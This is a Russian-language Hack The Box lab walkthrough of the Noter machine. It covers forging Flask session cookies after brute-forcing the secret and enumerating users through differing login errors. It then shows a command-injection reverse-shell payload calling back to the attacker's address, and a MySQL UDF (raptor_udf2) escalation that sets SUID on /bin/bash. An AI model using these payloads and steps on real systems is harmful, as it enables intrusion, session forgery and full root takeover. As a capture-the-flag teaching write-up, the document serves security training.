HTB Noter. Ломаем веб-приложение на Flask

RalfHacker

В этом рай­тапе мы обой­дем авто­риза­цию в при­ложе­нии на Flask, затем изу­чим исходные коды при­ложе­ния, что­бы най­ти и про­экс­плу­ати­ровать уяз­вимость. Для повыше­ния при­виле­гий исполь­зуем уяз­вимость уста­нов­ки пла­гина в MySQL.

На­ша цель — про­хож­дение сред­ней по слож­ности машины Noter с пло­щад­ки Hack The Box.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.160 noter.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Наш­лось три откры­тых пор­та:

• 21 — служ­ба vsftpd 3.0.3;
• 22 — служ­ба OpenSSH 8.2p1;
• 5000 — веб‑сер­вер Python Werkzeug 2.0.2.

Ано­ним­ный вход на FTP зак­рыт, с SSH мы ничего не сде­лаем, поэто­му идем смот­реть веб.

ТОЧКА ВХОДА

На сай­те есть воз­можность регис­три­ровать­ся и авто­ризо­вать­ся, чем мы обя­затель­но дол­жны вос­поль­зовать­ся.

Я всю работу выпол­няю через Burp, поэто­му в иден­тифика­торе сес­сии поль­зовате­ля сра­зу заметил токен JWT.

JWT

JSON Web Token хра­нит необ­ходимую информа­цию о текущем сеан­се. В чис­ле про­чего в нем содер­жится HMAC — hash-based message authentication code, код авто­риза­ции на осно­ве хеша. Его‑то нам и пред­сто­ит под­делать.

Для работы с JWT будем исполь­зовать ути­литу Flask-Unsign.

sudo pip3 install Flask==2.1.0 flask_unsign flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.fDwY2juxacH9LTQV7xx_RyGo8EM'

Для соз­дания HMAC тре­бует­ся сек­ретный ключ. Если мы суме­ем вос­ста­новить или взло­мать сек­ретный ключ, то смо­жем вно­сить любые изме­нения в информа­цию о сеан­се. С помощью Flask-Unsign можем поп­робовать проб­рутить сек­рет.

flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.fDwY2juxacH9LTQV7xx_RyGo8EM' --no-literal-eval

Мы получи­ли сек­ретный ключ, а зна­чит, можем записать свои дан­ные в сеанс, в дан­ном слу­чае сме­нить поль­зовате­ля. Генери­руем сес­сию, уста­нав­лива­ем в бра­узе­ре и обновля­ем стра­ницу. Я поп­робовал поль­зовате­ля admin, но ничего не выш­ло.

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123' --legacy

Ско­рее все­го, такого поль­зовате­ля не сущес­тву­ет, поэто­му нуж­но най­ти спо­соб опре­делить реаль­ных поль­зовате­лей. Сайт работа­ет на Flask, к тому же пред­назна­чен для хра­нения заметок, поэто­му пер­вым делом я стал искать SSTI (вклю­чение шаб­лонов на сто­роне сер­вера) и XSS. Начал с соз­дания замет­ки.

За­тем я опре­делил все мес­та, где про­исхо­дит вывод это­го тек­ста, но, к моему сожале­нию, вез­де исполь­зует­ся экра­ниро­вание.

Тест наг­рузкой для XSS так­же не увен­чался успе­хом. Тог­да я решил пос­мотреть на механизм авто­риза­ции, а имен­но на сооб­щения, которые сер­вер отдаст в раз­ных ситу­ациях. Иног­да в таких слу­чаях помога­ет опре­делять вре­мя, которое зат­рачива­ется на про­вер­ку пра­виль­ных и неп­равиль­ных учет­ных дан­ных. Но так далеко идти ока­залось не нуж­но: сооб­щения для сущес­тву­юще­го и несущес­тву­юще­го поль­зовате­ля ока­зались раз­ными.

ТОЧКА ОПОРЫ

Во­ору­жаем­ся Burp Intrueder и при­нима­емся за перебор.

Пе­реки­дыва­ем зап­рос в Burp (Ctrl-I, Ctrl-Shift-I) и отме­чаем для перебо­ра логин.

Спи­сок имен поль­зовате­лей берем из набора SecLists.

Ус­танав­лива­ем 256 потоков (мож­но и боль­ше).

В резуль­тиру­ющую таб­лицу добавим еще один стол­бец, куда будет попадать сооб­щение об ошиб­ке.

Для это­го на вклад­ке Options перей­дем к парамет­ру Grep → Extract, най­дем в отве­те сер­вера сооб­щение об ошиб­ке и уста­новим фла­жок Extract from regex group.

За­пус­каем перебор и вско­ре находим поль­зовате­ля blue.

Те­перь мы можем сге­нери­ровать токен для най­ден­ного поль­зовате­ля.

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123' --legacy

При­меня­ем токен, обновля­ем стра­ницу и получа­ем сес­сию целево­го поль­зовате­ля на сай­те.

Сра­зу прос­мотрим записи поль­зовате­ля.

В одной замет­ке мы находим учет­ные дан­ные поль­зовате­ля blue для служ­бы FTP и имя еще одно­го поль­зовате­ля — ftp_admin. Вто­рая замет­ка осо­бого инте­реса не пред­став­ляет.

Под­клю­чаем­ся к служ­бе FTP с най­ден­ным паролем и прос­матри­ваем фай­лы.

Там все­го один документ PDF, забира­ем его.

В PDF опи­сана пароль­ная полити­ка. Нас инте­ресу­ет пункт 4 в гра­фе Password Creation.

Та­ким обра­зом, пароль фор­миру­ется по мас­ке:

[username]@[sitename]!

По ана­логии с паролем blue@Noter! для поль­зовате­ля blue мы можем сос­тавить пароль для поль­зовате­ля ftp_admin — ftp_admin@Noter!.

Под­клю­чив­шись c сос­тавлен­ными учет­ными дан­ными, получа­ем еще два фай­ла бэкапов.

ПРОДВИЖЕНИЕ

Прос­матри­ваем исходные коды из бэкапов. В одном находим учет­ные дан­ные для под­клю­чения к базе дан­ных, а из вто­рого рас­кры­ваем новые точ­ки вхо­да.

Так, через стра­ницу /export_note_remote мож­но выпол­нить коман­ду в коман­дной обо­лоч­ке /bin/bash. Коман­да фор­миру­ется с исполь­зовани­ем нашего поль­зователь­ско­го вво­да, а имен­но содер­жимого замет­ки.

Эта стра­ница при­нима­ет URL-адрес, на котором дол­жна хос­тить­ся замет­ка. Помес­тим файл с реверс‑шел­лом на сво­ем сер­вере. При этом мы дол­жны прой­ти шаб­лон, зак­рыть выпол­няемую коман­ду node и толь­ко потом выпол­нить бэк­коннект.

--'; bash -i >& /dev/tcp/10.10.14.81/4321 0>&1; echo'--

И на откры­тый лис­тенер (запущен­ный коман­дой rlwrap nc -lvnp 4321) мы получим бэк­коннект.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы име­ем учет­ные дан­ные к MySQL, при­чем для при­виле­гиро­ван­ного поль­зовате­ля root. Но что­бы удоб­но работать с MySQL, нам нуж­но соз­дать нор­маль­ную TTY-обо­лоч­ку. Самый прос­той спо­соб сде­лать это — исполь­зовать модуль pty для Python.

python3 -c "import pty; pty.spawn('/bin/bash')"

А теперь можем под­клю­чить­ся к базе.

mysql -h localhost -u root -pNildogg36

Так как мы работа­ем от име­ни рута, в прод­вижении нам поможет соз­дание поль­зователь­ской фун­кции MySQL. Если ском­пилиро­вать такую фун­кцию в виде биб­лиоте­ки, то ее мож­но будет вызывать как встро­енную. Мы соз­дадим фун­кцию, которая будет вызывать коман­ды опе­раци­онной сис­темы. Они выпол­нятся с теми же при­виле­гиями, что и работа­ющая служ­ба, то есть в дан­ном слу­чае от име­ни root.

Пер­вое, что сто­ит про­верить, — это вклю­чена ли перемен­ная secure_file_priv. Она поз­волит нам раз­решить опе­рации импорта и экспор­та дан­ных — такие как фун­кции load_file и load_data.

show variables like '%secure_file_priv%';

Зна­чение рав­но null, то есть перемен­ная отклю­чена, и мы можем заг­рузить дан­ные в базу. Теперь нуж­но получить сис­темный каталог с пла­гина­ми MySQL. Имен­но в него нам и нуж­но будет добавить биб­лиоте­ку.

show variables like '%plugin%';

В качес­тве биб­лиоте­ки исполь­зуем го­товый код, который нуж­но будет ском­пилиро­вать.

wget https://www.exploit-db.com/raw/1518 -O 1518.c gcc -g -c 1518.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o

За­тем заг­ружа­ем этот экс­пло­ит на уда­лен­ный хост и с помощью MySQL копиру­ем его в каталог с пла­гина­ми.

use mysql;create table foo(line blob);insert into foo values(load_file('/tmp/raptor_udf2.so'));select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';

Те­перь соз­дадим поль­зователь­скую фун­кцию do_system. И сра­зу про­верим, дос­тупна ли она в MySQL.

create function do_system returns integer soname 'raptor_udf2.so';select * from mysql.func;

Те­перь мы можем выпол­нять коман­ды в при­виле­гиро­ван­ном кон­тек­сте. В качес­тве метода пер­систен­тнос­ти уста­новим бит SUID фай­лу коман­дной обо­лоч­ки /bin/bash.

select do_system('chmod u+s /bin/bash');

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Ко­ман­да успешно выпол­нена, а зна­чит, мы можем запус­тить Bash в при­виле­гиро­ван­ном кон­тек­сте и заб­рать флаг рута.

Ма­шина зах­вачена!